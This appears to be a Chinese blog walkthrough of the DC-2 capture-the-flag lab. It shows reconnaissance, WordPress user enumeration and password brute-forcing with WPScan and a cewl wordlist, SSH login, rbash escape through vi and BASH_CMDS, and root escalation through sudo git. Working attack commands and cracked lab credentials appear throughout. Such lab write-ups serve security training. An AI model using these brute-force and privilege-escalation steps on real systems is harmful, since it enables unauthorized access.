DC-2靶场搭建及渗透实战详细过程(DC靶场系列)

目录

一. 信息收集

1. 探测目标主机IP地址

2. 全面检测目标IP

3. 网页信息探测 

4. 目录扫描

二. Web端渗透

1. 字典生成

2. 用户名枚举爆破

3. 密码枚举爆破

三. 主机端渗透

1. ssh协议远程登入

2. rbash逃逸(Linux提权的一种)

3. su切换用户

4. Git提权

四. 总结

1. 字典生成工具cewl

2. 扫描工具WPScan(只适用于WordPress)

3. Linux的一些命令

4. rbash逃逸


DC-2靶场下载地址http://www.five86.com/downloads/DC-2.zip

搭建过程和DC-1一样,将kali跟DC-2放同一网段即可

一. 信息收集

1. 探测目标主机IP地址

arp-scan -l

2. 全面检测目标IP

nmap -A -p- 192.168.120.131

可以看到开放了80端口http协议,还有7744端口ssh服务 

Did not follow redirect to http://dc-2/

未遵循重定向到http://dc-2/

这个得修改本地DNS文件否则会访问不了 ,打开etc/hosts文件,添加一下本地DNS

192.168.120.131 dc-2

3. 网页信息探测 

打开一下web页面,浏览器访问192.168.120.131

发现有flag选项,找到flag1,点进去划词翻译一下 

这儿提示我们使用cewl工具生成字典,这关不能像常规一样利用cms漏洞攻击了(别问为啥,问就是试过很多次都没攻击成功)

4. 目录扫描

利用工具dirsearch扫描一下网站目录

dirsearch -u http://dc-2/ -e * -x 403 404

-u接网站地址

-e后接语言,可选php,asp,*(表示全部语言)等

-x表示过滤的状态码,扫描出来后不显示该状态

可以看到扫出来了个登入的页面 ,我们访问一下看看

果然是后台登入界面,接下来我们只要爆破出账号密码即可

二. Web端渗透

1. 字典生成

flag1提示了我们,一般的字典可能派不上用场,需要用到cewl工具爬取目标网站信息,生成相对应的字典

cewl http://dc-2/ -w /root/桌面/dict.txt

将爬取http://dc-2/网站生成的字典,放在桌面上的dict.txt文件中

2. 用户名枚举爆破

先简单介绍一下工具WPScan,参考Kali(渗透工具):WPScan的使用

WordPress是全球流行的博客网站,许多外国的博客都是用它搭建的,但是存在着很多漏洞,专注于这些漏洞与其特性,一个专门针对该CMS的WPScan工具出现了

wpscan --url dc-2 -e u

扫描出来了三个用户名,接着我们在桌面创建一个uname.txt文件,放着这些用户名

admin
jerry
tom

3. 密码枚举爆破

这里我们依旧使用工具wpscan,用户名字典选择uname.txt,密码字典选择cewl生成的字典dict.txt

  

wpscan --url dc-2 -U /root/桌面/uname.txt -P /root/桌面/dict.txt

爆破出了jerry和tom的密码

 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

然后我们进去后台登入,在jerry的账号中

拿到flag2,也提示了我们不能直接通过cms漏洞拿到shell了,让我们找另一种方法

三. 主机端渗透

1. ssh协议远程登入

ssh这东西呢是能用工具hydra通过爆破拿到,前面我们已经拿到过两个账号的用户名和密码,在这里先试一下,因为之前扫描出ssh的端口在7744,所以我们可以用下面的命令登入

ssh 用户名@主机地址 -p 端口

我们尝试登入一下

ssh jerry@192.168.120.131 -p 7744

后面点yes,继续输入密码登入

发现无论怎么输入密码都是错的,说明没有jerry这个用户在里面,接着我们用tom的登入一下

ssh tom@192.168.120.131 -p 7744

登进去了,看一下权限

whoami

 

发现有rbash限制(可以理解为很低权限的用户吧)

2. rbash逃逸(Linux提权的一种)

具体所有方法可参考rbash逃逸方法总结

我们先来看一下rbash限制后能进行那些操作

echo $PATH
#查看上面得到path路径的所有文件
#运行结果 /home/tom/usr/bin
echo /home/tom/usr/bin/*

可以看见能用这四个命令,唯一有用的就只有vi(编辑器)这个命令,这里可以里用vi或者是BASH_CMDS设置shell来绕过rbash,然后再设置环境变量添加命令

  • 法一:vi设置shell

先进入vi编辑器界面

vi

然后按Esc键,输入

:set shell=/bin/bash

设置好shell并回车,接着输入 

:shell

 回车,启动shell

当看见退出了vi编辑器就说明成功了 ,接着我们看一下权限

已经升级为bash了,无法执行cat命令是因为环境变量的问题,用以下命令添加一下两条路径即可

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin/
  • 法二:BASH_CMDS设置shell

设置一下shell并执行

BASH_CMDS[x]=/bin/bash
#设置了个x变量shell

x
#相当于执行shell

我们看到还是缺少了点命令,继续添加一下环境变量即可

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin/

接着cat一下flag文件

cat f*

拿到flag3,翻译一下 

提示我们得su一下jerry,su是Linux切换用户的命令

3. su切换用户

su jerry

再输入一下之前拿到的密码即可 登入进去

然后用命令找一下flag文件

find / -name *flag*

好吧看来除了flag4.txt,其他文件的权限都没有,我们先看看flag4.txt

cat /home/jerry/flag4.txt

提示了我们git,还有root看来是要提权的操作

4. Git提权

虽然flag给了我们提示,但是还是得找一下具有SUID权限的二进制文件的

find / -user root -perm -4000 -print 2>/dev/null

参考简谈SUID提权

好吧一个能用的文件都没有,看来只能用git了

sudo -l

发现git能使用root的权限,这里有两种提权的姿势

  • 第一种
sudo git help config

回车然后输入

!/bin/bash  (这里bash也可以换成sh)
  • 第二种
sudo git -p help

回车输入

!/bin/bash  (这里bash也可以换成sh)

 提权成功,然后找一下flag文件

cd /
find / -name *flag*

然后打开一下

cat /root/final*

芜湖!拿到最终flag 

四. 总结

1. 字典生成工具cewl

利用爬虫爬取网站,根据网站特点生成字典

Cewl爬虫生成字典

cewl 网址(如https://www.baidu.com) -w 文件名(如dict.txt)

2. 扫描工具WPScan(只适用于WordPress)

Kali(渗透工具):WPScan的使用

  • 用户名枚举  
wpscan --url 网站地址 -e u

-e表示枚举类型,u表示用户名。这两个配合使用是枚举用户名 

  • 密码爆破
wpscan --url 网站地址 -U 用户名字典 -P 密码字典

3. Linux的一些命令

  • 编辑器命令

vi(或vim)

可配合提权操作,进去后,按Esc键可执行操作,输入一下命令

:set shell=/bin/bash(bash可以用sh代替)
:shell

可Getshell

  • 环境变量查看(一般用于查看可执行命令)
echo $PATH

记住$PATH的值,比如输出/home/jerry/bin

echo path路径下的文件

这里配合上面命令得到的/home/jerry/bin,可以这样echo /home/jerry/bin/* 查看可执行的命令

  • 添加环境变量
export PATH=$PATH:路径

 常用的命令的环境变量路径有/usr/bin/和/bin/

 我们可以这样添加

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
  • 用户切换
su 用户名

之后输入该用户名密码即可 

4. rbash逃逸

rbash逃逸是Linux提权的其中之一

rbash逃逸方法简述

  • vi/vim法
vi

在编辑器里执行命令,按Esc

:set shell=/bin/bash

回车,然后打开我们的shell

:shell

再设置一下环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
  • BASH_CMDS法

利用它设置一个shell

BASH_CMDS[x]=/bin/bash(bash可以换为sh)

然后执行shell

x

再设置一下环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

  • 19
    点赞
  • 52
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值